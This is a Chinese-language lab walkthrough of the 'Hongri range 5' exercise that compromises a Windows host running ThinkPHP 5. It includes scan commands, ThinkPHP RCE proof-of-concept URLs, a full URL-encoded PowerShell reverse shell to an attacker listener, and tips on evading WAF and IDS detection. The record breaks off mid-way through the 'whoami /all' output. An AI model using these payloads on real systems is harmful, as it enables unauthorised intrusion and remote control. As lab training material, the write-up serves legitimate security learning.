红日靶场五 WP | ThinkPHP RCE → 内核提权 → 域控沦陷
靶场信息
我打的是无境靶场中的红日靶场五,其靶机地址和本机地址分别为:
靶场的相关注意事项:
二、信息搜集
1、TCP 全端口扫描 + 指纹识别 + 操作系统识别:
命令:
sudo rustscan -a 192.168.111.150 -r 1-65535 -- -sV -O -Pn -n -oA 192.168.111.150_TCP_ports
输出(仅列举有效信息):
PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 127 Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.5.38) 3306/tcp open mysql? syn-ack ttl 127
OS: Windows Server 2008 R2 or Windows 7 SP1 (96%)
这些信息凝聚成一块得到的结论就是:集成环境
为什么?
- 原生生态冲突: Windows Server 的“亲儿子”生态是什么?是 IIS Web 服务器 + ASP.NET + MSSQL 数据库。而 Apache + PHP + MySQL 是 Linux 环境下的“黄金搭档”(即经典的 LAMP 架构)。
- 部署成本考量: 在 Linux 上,用包管理器(apt/yum)安装 Apache/PHP/MySQL 非常丝滑。但如果你尝试过在 Windows 环境下纯手工分别下载 Apache、配置 PHP 模块、再挂载 MySQL 服务,你会知道那是一件非常繁琐且容易踩坑的事情。因此,正常的大型企业生产环境,极少会煞费苦心地在 Windows Server 上手工搭建一套异构的 Apache+PHP 环境。如果他们真要用 PHP,通常会直接开一台 Linux 虚拟机。
为了解决上述痛点,国内外的厂商推出了“一键安装包”,比如 phpStudy、WampServer、宝塔面板 (Windows 版)、XAMPP 等等。
因此,当看到这三样组件同时出现在 Windows 上,且版本相对老旧时,99% 的概率它就是一个一键安装的集成环境。
2、UDP 高价值端口扫描 + 指纹识别
命令:
sudo nmap -Pn -sU -sV -n --top-ports 20 192.168.111.150 -oA 192.168.111.150_UDP_ports
输出:
PORT STATE SERVICE VERSION 53/udp open|filtered domain 67/udp open|filtered dhcps 68/udp open|filtered dhcpc 69/udp open|filtered tftp 123/udp open|filtered ntp 135/udp open|filtered msrpc 137/udp open|filtered netbios-ns 138/udp open|filtered netbios-dgm 139/udp open|filtered netbios-ssn 161/udp open|filtered snmp 162/udp open|filtered snmptrap 445/udp open|filtered microsoft-ds 500/udp open|filtered isakmp 514/udp open|filtered syslog 520/udp open|filtered route 631/udp open|filtered ipp 1434/udp open|filtered ms-sql-m 1900/udp open|filtered upnp 4500/udp open|filtered nat-t-ike 49152/udp open|filtered unknown
都是 open|filtered(开放或者被过滤),这基本等于没信息。
决策:先处理 TCP 端口,如果没有突破,再回到 UDP 端口,用特定的工具或者脚本去侦察。
三、ThinkPHP
浏览器访问 80 端口:
显然是 ThinkPHP 框架,且版本号为 V5,利用 searchsploit 查询是否存在已知漏洞:
编辑
]
给了一个网站:https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
访问后看到里面的针对各种版本的 Poc:
目前只有 V5 的信息,先尝试:
http://192.168.111.150/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
结果:
知晓了更加完整的版本号,同页面中同样有该版本的 Poc:
http://192.168.111.150/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
注意:网站给的 Poc 中,用于测试 RCE 的命令是
id,这是 Linux 才有的命令,但是我们的目标是 Windows,若采用该命令页面是没有回显的。
RCE 成功。
四、WebShell
目前已经有个稳定可用的 WebShell,我一开始的思路是直接反弹 Shell,先让 Kali 监听:
❯ rlwrap nc -lvnp 4444 listening on [any] 4444 ...
然后让 WebShell 运行命令:
powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27192.168.111.25%27%2C4444%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22
确实能获得 Shell:
但是手法过于粗糙,原因如下:
一大坨未经混淆的 PowerShell 反弹 Shell 代码,直接作为 GET 参数进行 URL 编码发了过去:
- 长度限制与坏字符:GET 请求有长度限制,且各种符号极容易在 URL 传输中被截断或解析错误(虽然这次走运没遇到)。
- OPSEC 灾难:在真实环境中,这段 Payload 会完整无缺地记录在中间件的
access.log里。任何一台部署了基础 WAF 或 IDS 的设备,都会在你按下回车的那一瞬间把你的 IP 拉黑。
红队的标准动作是分步走:
- 极简打入:利用 RCE 写入一个极其轻量级的 Webshell(如哥斯拉/冰蝎的免杀马),或者写入一个下载执行器。
- 分离执行:通过 Webshell 连接后,再在可控的环境下(甚至是在内存中)去加载你的后续后门或 C2 Beacon。
记住:漏洞利用的 Payload 越短越好,越通用越好。
可是,既然已经拿到 Shell 了,就不要再整那些“花里胡哨”的了,毕竟是靶场环境。
五、跳板机信息搜集
1、UAC
whoami /all
User Name SID ================= ============================================= sun\administrator S-1-5-21-3388020223-1982701712-4030140183-500 GROUP INFORMATION ----------------- Group Name Type SID Attributes ========================================== ================ ============================================= =============================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group ????? Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group SUN\Group Policy Creator Owners Group S-1-5-21-33880
更多推荐


所有评论(0)